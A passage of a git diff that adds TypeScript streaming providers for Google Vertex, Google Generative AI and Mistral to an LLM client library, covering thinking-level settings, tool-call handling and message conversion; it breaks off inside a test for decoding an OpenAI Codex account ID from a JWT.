process.env.GOOGLE_CLOUD_API_KEY?.trim(); + if (!apiKey || apiKey === GCP_VERTEX_CREDENTIALS_MARKER || isPlaceholderApiKey(apiKey)) { + return undefined; + } + return apiKey; +} + +function isPlaceholderApiKey(apiKey: string): boolean { + return /^<[^>]+>$/.test(apiKey); +} + +function resolveProject(options?: GoogleVertexOptions): string { + const project = + options?.project || process.env.GOOGLE_CLOUD_PROJECT || process.env.GCLOUD_PROJECT; + if (!project) { + throw new Error( + "Vertex AI requires a project ID. Set GOOGLE_CLOUD_PROJECT/GCLOUD_PROJECT or pass project in options.", + ); + } + return project; +} + +function resolveLocation(options?: GoogleVertexOptions): string { + const location = options?.location || process.env.GOOGLE_CLOUD_LOCATION; + if (!location) { + throw new Error( + "Vertex AI requires a location. Set GOOGLE_CLOUD_LOCATION or pass location in options.", + ); + } + return location; +} + +function buildParams( + model: Model<"google-vertex">, + context: Context, + options: GoogleVertexOptions = {}, +): GenerateContentParameters { + const contents = convertMessages(model, context); + + const generationConfig: GenerateContentConfig = {}; + if (options.temperature !== undefined) { + generationConfig.temperature = options.temperature; + } + if (options.maxTokens !== undefined) { + generationConfig.maxOutputTokens = options.maxTokens; + } + + const config: GenerateContentConfig = { + ...(Object.keys(generationConfig).length > 0 && generationConfig), + ...(context.systemPrompt && { systemInstruction: sanitizeSurrogates(context.systemPrompt) }), + ...(context.tools && context.tools.length > 0 && { tools: convertTools(context.tools) }), + }; + + if (context.tools && context.tools.length > 0 && options.toolChoice) { + config.toolConfig = { + functionCallingConfig: { + mode: mapToolChoice(options.toolChoice), + }, + }; + } else { + config.toolConfig = undefined; + } + + if (options.thinking?.enabled && model.reasoning) { + const thinkingConfig: ThinkingConfig = { includeThoughts: true }; + if (options.thinking.level !== undefined) { + thinkingConfig.thinkingLevel = THINKING_LEVEL_MAP[options.thinking.level]; + } else if (options.thinking.budgetTokens !== undefined) { + thinkingConfig.thinkingBudget = options.thinking.budgetTokens; + } + config.thinkingConfig = thinkingConfig; + } else if (model.reasoning && options.thinking && !options.thinking.enabled) { + config.thinkingConfig = getDisabledThinkingConfig(model); + } + + if (options.signal) { + if (options.signal.aborted) { + throw new Error("Request aborted"); + } + config.abortSignal = options.signal; + } + + const params: GenerateContentParameters = { + model: model.id, + contents, + config, + }; + + return params; +} + +type ClampedThinkingLevel = Exclude; + +function isGemini3ProModel(model: Model<"google-generative-ai">): boolean { + return /gemini-3(?:\.\d+)?-pro/.test(model.id.toLowerCase()); +} + +function isGemini3FlashModel(model: Model<"google-generative-ai">): boolean { + return /gemini-3(?:\.\d+)?-flash/.test(model.id.toLowerCase()); +} + +function getDisabledThinkingConfig(model: Model<"google-vertex">): ThinkingConfig { + // Google docs: Gemini 3.1 Pro cannot disable thinking, and Gemini 3 Flash / Flash-Lite + // do not support full thinking-off either. For Gemini 3 models, use the lowest supported + // thinkingLevel without includeThoughts so hidden thinking stays internal. + const geminiModel = model as unknown as Model<"google-generative-ai">; + if (isGemini3ProModel(geminiModel)) { + return { thinkingLevel: ThinkingLevel.LOW }; + } + if (isGemini3FlashModel(geminiModel)) { + return { thinkingLevel: ThinkingLevel.MINIMAL }; + } + + // Gemini 2.x supports disabling via thinkingBudget = 0. + return { thinkingBudget: 0 }; +} + +function getGemini3ThinkingLevel( + effort: ClampedThinkingLevel, + model: Model<"google-generative-ai">, +): GoogleThinkingLevel { + if (isGemini3ProModel(model)) { + switch (effort) { + case "minimal": + case "low": + return "LOW"; + case "medium": + case "high": + return "HIGH"; + } + } + switch (effort) { + case "minimal": + return "MINIMAL"; + case "low": + return "LOW"; + case "medium": + return "MEDIUM"; + case "high": + return "HIGH"; + } + return "HIGH"; +} + +function getGoogleBudget( + model: Model<"google-generative-ai">, + effort: ClampedThinkingLevel, + customBudgets?: ThinkingBudgets, +): number { + if (customBudgets?.[effort] !== undefined) { + return customBudgets[effort]; + } + + if (model.id.includes("2.5-pro")) { + const budgets: Record = { + minimal: 128, + low: 2048, + medium: 8192, + high: 32768, + }; + return budgets[effort]; + } + + if (model.id.includes("2.5-flash")) { + const budgets: Record = { + minimal: 128, + low: 2048, + medium: 8192, + high: 24576, + }; + return budgets[effort]; + } + + return -1; +} diff --git a/src/llm/providers/google.ts b/src/llm/providers/google.ts new file mode 100644 index 00000000000..43769dba81c --- /dev/null +++ b/src/llm/providers/google.ts @@ -0,0 +1,337 @@ +import { + type GenerateContentConfig, + type GenerateContentParameters, + GoogleGenAI, + type ThinkingConfig, +} from "@google/genai"; +import { getEnvApiKey } from "../env-api-keys.js"; +import { clampThinkingLevel } from "../model-utils.js"; +import type { + Api, + AssistantMessage, + Context, + Model, + SimpleStreamOptions, + StreamFunction, + StreamOptions, + ThinkingBudgets, + ThinkingLevel, +} from "../types.js"; +import { AssistantMessageEventStream } from "../utils/event-stream.js"; +import { sanitizeSurrogates } from "../utils/sanitize-unicode.js"; +import type { GoogleThinkingLevel } from "./google-shared.js"; +import { + consumeGoogleGenerateContentStream, + convertMessages, + convertTools, + mapToolChoice, +} from "./google-shared.js"; +import { buildBaseOptions } from "./simple-options.js"; + +export interface GoogleOptions extends StreamOptions { + toolChoice?: "auto" | "none" | "any"; + thinking?: { + enabled: boolean; + budgetTokens?: number; // -1 for dynamic, 0 to disable + level?: GoogleThinkingLevel; + }; +} + +// Counter for generating unique tool call IDs +let toolCallCounter = 0; + +export const streamGoogle: StreamFunction<"google-generative-ai", GoogleOptions> = ( + model: Model<"google-generative-ai">, + context: Context, + options?: GoogleOptions, +) => { + const stream = new AssistantMessageEventStream(); + + void (async () => { + const output: AssistantMessage = { + role: "assistant", + content: [], + api: "google-generative-ai" as Api, + provider: model.provider, + model: model.id, + usage: { + input: 0, + output: 0, + cacheRead: 0, + cacheWrite: 0, + totalTokens: 0, + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, + }, + stopReason: "stop", + timestamp: Date.now(), + }; + + try { + const apiKey = options?.apiKey || getEnvApiKey(model.provider) || ""; + const client = createClient(model, apiKey, options?.headers); + let params = buildParams(model, context, options); + const nextParams = await options?.onPayload?.(params, model); + if (nextParams !== undefined) { + params = nextParams as GenerateContentParameters; + } + const googleStream = await client.models.generateContentStream(params); + await consumeGoogleGenerateContentStream({ + chunks: googleStream, + model, + output, + stream, + signal: options?.signal, + nextToolCallId: (name) => `${name}_${Date.now()}_${++toolCallCounter}`, + }); + } catch (error) { + // Remove internal index property used during streaming + for (const block of output.content) { + if ("index" in block) { + delete (block as { index?: number }).index; + } + } + output.stopReason = options?.signal?.aborted ? "aborted" : "error"; + output.errorMessage = error instanceof Error ? error.message : JSON.stringify(error); + stream.push({ type: "error", reason: output.stopReason, error: output }); + stream.end(); + } + })(); + + return stream; +}; + +export const streamSimpleGoogle: StreamFunction<"google-generative-ai", SimpleStreamOptions> = ( + model: Model<"google-generative-ai">, + context: Context, + options?: SimpleStreamOptions, +) => { + const apiKey = options?.apiKey || getEnvApiKey(model.provider); + if (!apiKey) { + throw new Error(`No API key for provider: ${model.provider}`); + } + + const base = buildBaseOptions(model, options, apiKey); + if (!options?.reasoning) { + return streamGoogle(model, context, { + ...base, + thinking: { enabled: false }, + } satisfies GoogleOptions); + } + + const clampedReasoning = clampThinkingLevel(model, options.reasoning); + const effort = (clampedReasoning === "off" ? "high" : clampedReasoning) as ClampedThinkingLevel; + const googleModel = model; + + if ( + isGemini3ProModel(googleModel) || + isGemini3FlashModel(googleModel) || + isGemma4Model(googleModel) + ) { + return streamGoogle(model, context, { + ...base, + thinking: { + enabled: true, + level: getThinkingLevel(effort, googleModel), + }, + } satisfies GoogleOptions); + } + + return streamGoogle(model, context, { + ...base, + thinking: { + enabled: true, + budgetTokens: getGoogleBudget(googleModel, effort, options.thinkingBudgets), + }, + } satisfies GoogleOptions); +}; + +function createClient( + model: Model<"google-generative-ai">, + apiKey?: string, + optionsHeaders?: Record, +): GoogleGenAI { + const httpOptions: { baseUrl?: string; apiVersion?: string; headers?: Record } = + {}; + if (model.baseUrl) { + httpOptions.baseUrl = model.baseUrl; + httpOptions.apiVersion = ""; // baseUrl already includes version path, don't append + } + if (model.headers || optionsHeaders) { + httpOptions.headers = { ...model.headers, ...optionsHeaders }; + } + + return new GoogleGenAI({ + apiKey, + httpOptions: Object.keys(httpOptions).length > 0 ? httpOptions : undefined, + }); +} + +function buildParams( + model: Model<"google-generative-ai">, + context: Context, + options: GoogleOptions = {}, +): GenerateContentParameters { + const contents = convertMessages(model, context); + + const generationConfig: GenerateContentConfig = {}; + if (options.temperature !== undefined) { + generationConfig.temperature = options.temperature; + } + if (options.maxTokens !== undefined) { + generationConfig.maxOutputTokens = options.maxTokens; + } + + const config: GenerateContentConfig = { + ...(Object.keys(generationConfig).length > 0 && generationConfig), + ...(context.systemPrompt && { systemInstruction: sanitizeSurrogates(context.systemPrompt) }), + ...(context.tools && context.tools.length > 0 && { tools: convertTools(context.tools) }), + }; + + if (context.tools && context.tools.length > 0 && options.toolChoice) { + config.toolConfig = { + functionCallingConfig: { + mode: mapToolChoice(options.toolChoice), + }, + }; + } else { + config.toolConfig = undefined; + } + + if (options.thinking?.enabled && model.reasoning) { + const thinkingConfig: ThinkingConfig = { includeThoughts: true }; + if (options.thinking.level !== undefined) { + thinkingConfig.thinkingLevel = options.thinking.level as ThinkingConfig["thinkingLevel"]; + } else if (options.thinking.budgetTokens !== undefined) { + thinkingConfig.thinkingBudget = options.thinking.budgetTokens; + } + config.thinkingConfig = thinkingConfig; + } else if (model.reasoning && options.thinking && !options.thinking.enabled) { + config.thinkingConfig = getDisabledThinkingConfig(model); + } + + if (options.signal) { + if (options.signal.aborted) { + throw new Error("Request aborted"); + } + config.abortSignal = options.signal; + } + + const params: GenerateContentParameters = { + model: model.id, + contents, + config, + }; + + return params; +} + +type ClampedThinkingLevel = Exclude; + +function isGemma4Model(model: Model<"google-generative-ai">): boolean { + return /gemma-?4/.test(model.id.toLowerCase()); +} + +function isGemini3ProModel(model: Model<"google-generative-ai">): boolean { + return /gemini-3(?:\.\d+)?-pro/.test(model.id.toLowerCase()); +} + +function isGemini3FlashModel(model: Model<"google-generative-ai">): boolean { + return /gemini-3(?:\.\d+)?-flash/.test(model.id.toLowerCase()); +} + +function getDisabledThinkingConfig(model: Model<"google-generative-ai">): ThinkingConfig { + // Google docs: Gemini 3.1 Pro cannot disable thinking, and Gemini 3 Flash / Flash-Lite + // do not support full thinking-off either. For Gemini 3 models, use the lowest supported + // thinkingLevel without includeThoughts so hidden thinking remains invisible to OpenClaw. + if (isGemini3ProModel(model)) { + return { thinkingLevel: "LOW" as ThinkingConfig["thinkingLevel"] }; + } + if (isGemini3FlashModel(model)) { + return { thinkingLevel: "MINIMAL" as ThinkingConfig["thinkingLevel"] }; + } + if (isGemma4Model(model)) { + return { thinkingLevel: "MINIMAL" as ThinkingConfig["thinkingLevel"] }; + } + + // Gemini 2.x supports disabling via thinkingBudget = 0. + return { thinkingBudget: 0 }; +} + +function getThinkingLevel( + effort: ClampedThinkingLevel, + model: Model<"google-generative-ai">, +): GoogleThinkingLevel { + if (isGemini3ProModel(model)) { + switch (effort) { + case "minimal": + case "low": + return "LOW"; + case "medium": + case "high": + return "HIGH"; + } + } + if (isGemma4Model(model)) { + switch (effort) { + case "minimal": + case "low": + return "MINIMAL"; + case "medium": + case "high": + return "HIGH"; + } + } + switch (effort) { + case "minimal": + return "MINIMAL"; + case "low": + return "LOW"; + case "medium": + return "MEDIUM"; + case "high": + return "HIGH"; + } + return "HIGH"; +} + +function getGoogleBudget( + model: Model<"google-generative-ai">, + effort: ClampedThinkingLevel, + customBudgets?: ThinkingBudgets, +): number { + if (customBudgets?.[effort] !== undefined) { + return customBudgets[effort]; + } + + if (model.id.includes("2.5-pro")) { + const budgets: Record = { + minimal: 128, + low: 2048, + medium: 8192, + high: 32768, + }; + return budgets[effort]; + } + + if (model.id.includes("2.5-flash-lite")) { + const budgets: Record = { + minimal: 512, + low: 2048, + medium: 8192, + high: 24576, + }; + return budgets[effort]; + } + + if (model.id.includes("2.5-flash")) { + const budgets: Record = { + minimal: 128, + low: 2048, + medium: 8192, + high: 24576, + }; + return budgets[effort]; + } + + return -1; +} diff --git a/src/llm/providers/mistral.ts b/src/llm/providers/mistral.ts new file mode 100644 index 00000000000..2e7273e671c --- /dev/null +++ b/src/llm/providers/mistral.ts @@ -0,0 +1,723 @@ +import { Mistral } from "@mistralai/mistralai"; +import type { + ChatCompletionStreamRequest, + ChatCompletionStreamRequestMessage, + CompletionEvent, + ContentChunk, + FunctionTool, +} from "@mistralai/mistralai/models/components"; +import { getEnvApiKey } from "../env-api-keys.js"; +import { calculateCost, clampThinkingLevel } from "../model-utils.js"; +import type { + AssistantMessage, + Context, + Message, + Model, + SimpleStreamOptions, + StopReason, + StreamFunction, + StreamOptions, + TextContent, + ThinkingContent, + Tool, + ToolCall, +} from "../types.js"; +import { AssistantMessageEventStream } from "../utils/event-stream.js"; +import { shortHash } from "../utils/hash.js"; +import { parseStreamingJson } from "../utils/json-parse.js"; +import { sanitizeSurrogates } from "../utils/sanitize-unicode.js"; +import { buildBaseOptions } from "./simple-options.js"; +import { transformMessages } from "./transform-messages.js"; + +const MISTRAL_TOOL_CALL_ID_LENGTH = 9; +const MAX_MISTRAL_ERROR_BODY_CHARS = 4000; + +/** + * Provider-specific options for the Mistral API. + */ +type MistralReasoningEffort = "none" | "high"; + +export interface MistralOptions extends StreamOptions { + toolChoice?: + | "auto" + | "none" + | "any" + | "required" + | { type: "function"; function: { name: string } }; + promptMode?: "reasoning"; + reasoningEffort?: MistralReasoningEffort; +} + +/** + * Stream responses from Mistral using `chat.stream`. + */ +export const streamMistral: StreamFunction<"mistral-conversations", MistralOptions> = ( + model: Model<"mistral-conversations">, + context: Context, + options?: MistralOptions, +) => { + const stream = new AssistantMessageEventStream(); + + void (async () => { + const output = createOutput(model); + + try { + const apiKey = options?.apiKey || getEnvApiKey(model.provider); + if (!apiKey) { + throw new Error(`No API key for provider: ${model.provider}`); + } + + // Intentionally per-request: avoids shared SDK mutable state across concurrent consumers. + const mistral = new Mistral({ + apiKey, + serverURL: model.baseUrl, + }); + + const normalizeMistralToolCallId = createMistralToolCallIdNormalizer(); + const transformedMessages = transformMessages(context.messages, model, (id) => + normalizeMistralToolCallId(id), + ); + + let payload = buildChatPayload(model, context, transformedMessages, options); + const nextPayload = await options?.onPayload?.(payload, model); + if (nextPayload !== undefined) { + payload = nextPayload as ChatCompletionStreamRequest; + } + const mistralStream = await mistral.chat.stream(payload, buildRequestOptions(model, options)); + stream.push({ type: "start", partial: output }); + await consumeChatStream(model, output, stream, mistralStream); + + if (options?.signal?.aborted) { + throw new Error("Request was aborted"); + } + + if (output.stopReason === "aborted" || output.stopReason === "error") { + throw new Error("An unknown error occurred"); + } + + stream.push({ type: "done", reason: output.stopReason, message: output }); + stream.end(); + } catch (error) { + for (const block of output.content) { + // partialArgs is only a streaming scratch buffer; never persist it. + delete (block as { partialArgs?: string }).partialArgs; + } + output.stopReason = options?.signal?.aborted ? "aborted" : "error"; + output.errorMessage = formatMistralError(error); + stream.push({ type: "error", reason: output.stopReason, error: output }); + stream.end(); + } + })(); + + return stream; +}; + +/** + * Maps provider-agnostic `SimpleStreamOptions` to Mistral options. + */ +export const streamSimpleMistral: StreamFunction<"mistral-conversations", SimpleStreamOptions> = ( + model: Model<"mistral-conversations">, + context: Context, + options?: SimpleStreamOptions, +) => { + const apiKey = options?.apiKey || getEnvApiKey(model.provider); + if (!apiKey) { + throw new Error(`No API key for provider: ${model.provider}`); + } + + const base = buildBaseOptions(model, options, apiKey); + const clampedReasoning = options?.reasoning + ? clampThinkingLevel(model, options.reasoning) + : undefined; + const reasoning = clampedReasoning === "off" ? undefined : clampedReasoning; + const shouldUseReasoning = model.reasoning && reasoning !== undefined; + + return streamMistral(model, context, { + ...base, + promptMode: shouldUseReasoning && usesPromptModeReasoning(model) ? "reasoning" : undefined, + reasoningEffort: + shouldUseReasoning && usesReasoningEffort(model) + ? mapReasoningEffort(model, reasoning) + : undefined, + } satisfies MistralOptions); +}; + +function createOutput(model: Model<"mistral-conversations">): AssistantMessage { + return { + role: "assistant", + content: [], + api: model.api, + provider: model.provider, + model: model.id, + usage: { + input: 0, + output: 0, + cacheRead: 0, + cacheWrite: 0, + totalTokens: 0, + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, + }, + stopReason: "stop", + timestamp: Date.now(), + }; +} + +function createMistralToolCallIdNormalizer(): (id: string) => string { + const idMap = new Map(); + const reverseMap = new Map(); + + return (id: string): string => { + const existing = idMap.get(id); + if (existing) { + return existing; + } + + let attempt = 0; + while (true) { + const candidate = deriveMistralToolCallId(id, attempt); + const owner = reverseMap.get(candidate); + if (!owner || owner === id) { + idMap.set(id, candidate); + reverseMap.set(candidate, id); + return candidate; + } + attempt++; + } + }; +} + +function deriveMistralToolCallId(id: string, attempt: number): string { + const normalized = id.replace(/[^a-zA-Z0-9]/g, ""); + if (attempt === 0 && normalized.length === MISTRAL_TOOL_CALL_ID_LENGTH) { + return normalized; + } + const seedBase = normalized || id; + const seed = attempt === 0 ? seedBase : `${seedBase}:${attempt}`; + return shortHash(seed) + .replace(/[^a-zA-Z0-9]/g, "") + .slice(0, MISTRAL_TOOL_CALL_ID_LENGTH); +} + +function formatMistralError(error: unknown): string { + if (error instanceof Error) { + const sdkError = error as Error & { statusCode?: unknown; body?: unknown }; + const statusCode = typeof sdkError.statusCode === "number" ? sdkError.statusCode : undefined; + const bodyText = typeof sdkError.body === "string" ? sdkError.body.trim() : undefined; + if (statusCode !== undefined && bodyText) { + return `Mistral API error (${statusCode}): ${truncateErrorText(bodyText, MAX_MISTRAL_ERROR_BODY_CHARS)}`; + } + if (statusCode !== undefined) { + return `Mistral API error (${statusCode}): ${error.message}`; + } + return error.message; + } + return safeJsonStringify(error); +} + +function truncateErrorText(text: string, maxChars: number): string { + if (text.length <= maxChars) { + return text; + } + return `${text.slice(0, maxChars)}... [truncated ${text.length - maxChars} chars]`; +} + +function safeJsonStringify(value: unknown): string { + try { + const serialized = JSON.stringify(value); + return serialized === undefined ? String(value) : serialized; + } catch { + return String(value); + } +} + +function buildRequestOptions(model: Model<"mistral-conversations">, options?: MistralOptions) { + const requestOptions: { + signal?: AbortSignal; + retries: { strategy: "none" }; + headers?: Record; + } = { + retries: { strategy: "none" }, + }; + if (options?.signal) { + requestOptions.signal = options.signal; + } + + const headers: Record = {}; + if (model.headers) { + Object.assign(headers, model.headers); + } + if (options?.headers) { + Object.assign(headers, options.headers); + } + + // Mistral infrastructure uses `x-affinity` for KV-cache reuse (prefix caching). + // Respect explicit caller-provided header values. + if (options?.sessionId && !headers["x-affinity"]) { + headers["x-affinity"] = options.sessionId; + } + + if (Object.keys(headers).length > 0) { + requestOptions.headers = headers; + } + + return requestOptions; +} + +function buildChatPayload( + model: Model<"mistral-conversations">, + context: Context, + messages: Message[], + options?: MistralOptions, +): ChatCompletionStreamRequest { + const payload: ChatCompletionStreamRequest = { + model: model.id, + stream: true, + messages: toChatMessages(messages, model.input.includes("image")), + }; + + if (context.tools?.length) { + payload.tools = toFunctionTools(context.tools); + } + if (options?.temperature !== undefined) { + payload.temperature = options.temperature; + } + if (options?.maxTokens !== undefined) { + payload.maxTokens = options.maxTokens; + } + if (options?.toolChoice) { + payload.toolChoice = mapToolChoice(options.toolChoice); + } + if (options?.promptMode) { + payload.promptMode = options.promptMode; + } + if (options?.reasoningEffort) { + payload.reasoningEffort = options.reasoningEffort; + } + + if (context.systemPrompt) { + payload.messages.unshift({ + role: "system", + content: sanitizeSurrogates(context.systemPrompt), + }); + } + + return payload; +} + +async function consumeChatStream( + model: Model<"mistral-conversations">, + output: AssistantMessage, + stream: AssistantMessageEventStream, + mistralStream: AsyncIterable, +): Promise { + let currentBlock: TextContent | ThinkingContent | null = null; + const blocks = output.content; + const blockIndex = () => blocks.length - 1; + const toolBlocksByKey = new Map(); + + const finishCurrentBlock = (block?: typeof currentBlock) => { + if (!block) { + return; + } + if (block.type === "text") { + stream.push({ + type: "text_end", + contentIndex: blockIndex(), + content: block.text, + partial: output, + }); + return; + } + if (block.type === "thinking") { + stream.push({ + type: "thinking_end", + contentIndex: blockIndex(), + content: block.thinking, + partial: output, + }); + } + }; + + for await (const event of mistralStream) { + const chunk = event.data; + // Mistral's streamed CompletionChunk carries an id field. Keep the first non-empty one, + // mirroring how OpenAI-style streaming exposes a stable response identifier per stream. + output.responseId ||= chunk.id; + + if (chunk.usage) { + output.usage.input = chunk.usage.promptTokens || 0; + output.usage.output = chunk.usage.completionTokens || 0; + output.usage.cacheRead = 0; + output.usage.cacheWrite = 0; + output.usage.totalTokens = + chunk.usage.totalTokens || output.usage.input + output.usage.output; + calculateCost(model, output.usage); + } + + const choice = chunk.choices[0]; + if (!choice) { + continue; + } + + if (choice.finishReason) { + output.stopReason = mapChatStopReason(choice.finishReason); + } + + const delta = choice.delta; + if (delta.content !== null && delta.content !== undefined) { + const contentItems = typeof delta.content === "string" ? [delta.content] : delta.content; + for (const item of contentItems) { + if (typeof item === "string") { + const textDelta = sanitizeSurrogates(item); + if (!currentBlock || currentBlock.type !== "text") { + finishCurrentBlock(currentBlock); + currentBlock = { type: "text", text: "" }; + output.content.push(currentBlock); + stream.push({ type: "text_start", contentIndex: blockIndex(), partial: output }); + } + currentBlock.text += textDelta; + stream.push({ + type: "text_delta", + contentIndex: blockIndex(), + delta: textDelta, + partial: output, + }); + continue; + } + + if (item.type === "thinking") { + const deltaText = item.thinking + .map((part) => ("text" in part ? part.text : "")) + .filter((text) => text.length > 0) + .join(""); + const thinkingDelta = sanitizeSurrogates(deltaText); + if (!thinkingDelta) { + continue; + } + if (!currentBlock || currentBlock.type !== "thinking") { + finishCurrentBlock(currentBlock); + currentBlock = { type: "thinking", thinking: "" }; + output.content.push(currentBlock); + stream.push({ type: "thinking_start", contentIndex: blockIndex(), partial: output }); + } + currentBlock.thinking += thinkingDelta; + stream.push({ + type: "thinking_delta", + contentIndex: blockIndex(), + delta: thinkingDelta, + partial: output, + }); + continue; + } + + if (item.type === "text") { + const textDelta = sanitizeSurrogates(item.text); + if (!currentBlock || currentBlock.type !== "text") { + finishCurrentBlock(currentBlock); + currentBlock = { type: "text", text: "" }; + output.content.push(currentBlock); + stream.push({ type: "text_start", contentIndex: blockIndex(), partial: output }); + } + currentBlock.text += textDelta; + stream.push({ + type: "text_delta", + contentIndex: blockIndex(), + delta: textDelta, + partial: output, + }); + } + } + } + + const toolCalls = delta.toolCalls || []; + for (const toolCall of toolCalls) { + if (currentBlock) { + finishCurrentBlock(currentBlock); + currentBlock = null; + } + const callId = + toolCall.id && toolCall.id !== "null" + ? toolCall.id + : deriveMistralToolCallId(`toolcall:${toolCall.index ?? 0}`, 0); + const key = `${callId}:${toolCall.index || 0}`; + const existingIndex = toolBlocksByKey.get(key); + let block: (ToolCall & { partialArgs?: string }) | undefined; + + if (existingIndex !== undefined) { + const existing = output.content[existingIndex]; + if (existing?.type === "toolCall") { + block = existing as ToolCall & { partialArgs?: string }; + } + } + + if (!block) { + block = { + type: "toolCall", + id: callId, + name: toolCall.function.name, + arguments: {}, + partialArgs: "", + }; + output.content.push(block); + toolBlocksByKey.set(key, output.content.length - 1); + stream.push({ + type: "toolcall_start", + contentIndex: output.content.length - 1, + partial: output, + }); + } + + const argsDelta = + typeof toolCall.function.arguments === "string" + ? toolCall.function.arguments + : JSON.stringify(toolCall.function.arguments || {}); + block.partialArgs = (block.partialArgs || "") + argsDelta; + block.arguments = parseStreamingJson(block.partialArgs); + stream.push({ + type: "toolcall_delta", + contentIndex: toolBlocksByKey.get(key)!, + delta: argsDelta, + partial: output, + }); + } + } + + finishCurrentBlock(currentBlock); + for (const index of toolBlocksByKey.values()) { + const block = output.content[index]; + if (block.type !== "toolCall") { + continue; + } + const toolBlock = block as ToolCall & { partialArgs?: string }; + toolBlock.arguments = parseStreamingJson(toolBlock.partialArgs); + // Finalize in-place and strip the scratch buffer so replay only + // carries parsed arguments. + delete toolBlock.partialArgs; + stream.push({ + type: "toolcall_end", + contentIndex: index, + toolCall: toolBlock, + partial: output, + }); + } +} + +function toFunctionTools(tools: Tool[]): Array { + return tools.map((tool) => ({ + type: "function", + function: { + name: tool.name, + description: tool.description, + parameters: stripSymbolKeys(tool.parameters) as Record, + strict: false, + }, + })); +} + +function stripSymbolKeys(value: unknown): unknown { + if (Array.isArray(value)) { + return value.map((item) => stripSymbolKeys(item)); + } + + if (value && typeof value === "object") { + const result: Record = {}; + for (const [key, entry] of Object.entries(value)) { + result[key] = stripSymbolKeys(entry); + } + return result; + } + + return value; +} + +function toChatMessages( + messages: Message[], + supportsImages: boolean, +): ChatCompletionStreamRequestMessage[] { + const result: ChatCompletionStreamRequestMessage[] = []; + + for (const msg of messages) { + if (msg.role === "user") { + if (typeof msg.content === "string") { + result.push({ role: "user", content: sanitizeSurrogates(msg.content) }); + continue; + } + const hadImages = msg.content.some((item) => item.type === "image"); + const content: ContentChunk[] = msg.content + .filter((item) => item.type === "text" || supportsImages) + .map((item) => { + if (item.type === "text") { + return { type: "text", text: sanitizeSurrogates(item.text) }; + } + return { type: "image_url", imageUrl: `data:${item.mimeType};base64,${item.data}` }; + }); + if (content.length > 0) { + result.push({ role: "user", content }); + continue; + } + if (hadImages && !supportsImages) { + result.push({ role: "user", content: "(image omitted: model does not support images)" }); + } + continue; + } + + if (msg.role === "assistant") { + const contentParts: ContentChunk[] = []; + const toolCalls: Array<{ + id: string; + type: "function"; + function: { name: string; arguments: string }; + }> = []; + + for (const block of msg.content) { + if (block.type === "text") { + if (block.text.trim().length > 0) { + contentParts.push({ type: "text", text: sanitizeSurrogates(block.text) }); + } + continue; + } + if (block.type === "thinking") { + if (block.thinking.trim().length > 0) { + contentParts.push({ + type: "thinking", + thinking: [{ type: "text", text: sanitizeSurrogates(block.thinking) }], + }); + } + continue; + } + toolCalls.push({ + id: block.id, + type: "function", + function: { name: block.name, arguments: JSON.stringify(block.arguments || {}) }, + }); + } + + const assistantMessage: ChatCompletionStreamRequestMessage = { role: "assistant" }; + if (contentParts.length > 0) { + assistantMessage.content = contentParts; + } + if (toolCalls.length > 0) { + assistantMessage.toolCalls = toolCalls; + } + if (contentParts.length > 0 || toolCalls.length > 0) { + result.push(assistantMessage); + } + continue; + } + + const toolContent: ContentChunk[] = []; + const textResult = msg.content + .filter((part) => part.type === "text") + .map((part) => (part.type === "text" ? sanitizeSurrogates(part.text) : "")) + .join("\n"); + const hasImages = msg.content.some((part) => part.type === "image"); + const toolText = buildToolResultText(textResult, hasImages, supportsImages, msg.isError); + toolContent.push({ type: "text", text: toolText }); + for (const part of msg.content) { + if (!supportsImages) { + continue; + } + if (part.type !== "image") { + continue; + } + toolContent.push({ + type: "image_url", + imageUrl: `data:${part.mimeType};base64,${part.data}`, + }); + } + result.push({ + role: "tool", + toolCallId: msg.toolCallId, + name: msg.toolName, + content: toolContent, + }); + } + + return result; +} + +function buildToolResultText( + text: string, + hasImages: boolean, + supportsImages: boolean, + isError: boolean, +): string { + const trimmed = text.trim(); + const errorPrefix = isError ? "[tool error] " : ""; + + if (trimmed.length > 0) { + const imageSuffix = + hasImages && !supportsImages ? "\n[tool image omitted: model does not support images]" : ""; + return `${errorPrefix}${trimmed}${imageSuffix}`; + } + + if (hasImages) { + if (supportsImages) { + return isError ? "[tool error] (see attached image)" : "(see attached image)"; + } + return isError + ? "[tool error] (image omitted: model does not support images)" + : "(image omitted: model does not support images)"; + } + + return isError ? "[tool error] (no tool output)" : "(no tool output)"; +} + +function usesReasoningEffort(model: Model<"mistral-conversations">): boolean { + return ( + model.id === "mistral-small-2603" || + model.id === "mistral-small-latest" || + model.id === "mistral-medium-3.5" + ); +} + +function usesPromptModeReasoning(model: Model<"mistral-conversations">): boolean { + return model.reasoning && !usesReasoningEffort(model); +} + +function mapReasoningEffort( + model: Model<"mistral-conversations">, + level: Exclude, +): MistralReasoningEffort { + return (model.thinkingLevelMap?.[level] ?? "high") as MistralReasoningEffort; +} + +function mapToolChoice( + choice: MistralOptions["toolChoice"], +): + | "auto" + | "none" + | "any" + | "required" + | { type: "function"; function: { name: string } } + | undefined { + if (!choice) { + return undefined; + } + if (choice === "auto" || choice === "none" || choice === "any" || choice === "required") { + return choice; + } + return { + type: "function", + function: { name: choice.function.name }, + }; +} + +function mapChatStopReason(reason: string | null): StopReason { + if (reason === null) { + return "stop"; + } + switch (reason) { + case "stop": + return "stop"; + case "length": + case "model_length": + return "length"; + case "tool_calls": + return "toolUse"; + case "error": + return "error"; + default: + return "stop"; + } +} diff --git a/src/llm/providers/openai-codex-responses.test.ts b/src/llm/providers/openai-codex-responses.test.ts new file mode 100644 index 00000000000..3a720a2b11b --- /dev/null +++ b/src/llm/providers/openai-codex-responses.test.ts @@ -0,0 +1,85 @@ +import { afterEach, describe, expect, it, vi } from "vitest"; +import type { Context, Model } from "../types.js"; +import { + extractOpenAICodexAccountId, + resetOpenAICodexWebSocketDebugStats, + streamOpenAICodexResponses, +} from "./openai-codex-responses.js"; + +function createJwt(payload: Record): string { + const header = Buffer.from(JSON.stringify({ alg: "none", typ: "JWT" })).toString("base64url"); + const body = Buffer.from(JSON.stringify(payload)).toString("base64url"); + return `${header}.${body}.signature`; +} + +describe("extractOpenAICodexAccountId", () => { + it("decodes URL-safe base64 JWT payloads", () => { + const accessToken = createJwt({ + "https://api.openai.com/auth": { + chatgpt_account_id: "w_ébé_1fzcswWN6Pi5zL", + }, + }); + expect(accessToken.split(".")[1]).toContain("_"); + + expect(extractOpenAICodexAccountId(accessToken)).toBe("w_ébé_1fzcswWN6Pi5zL"); + }); + + it("rejects tokens without a Codex account id", 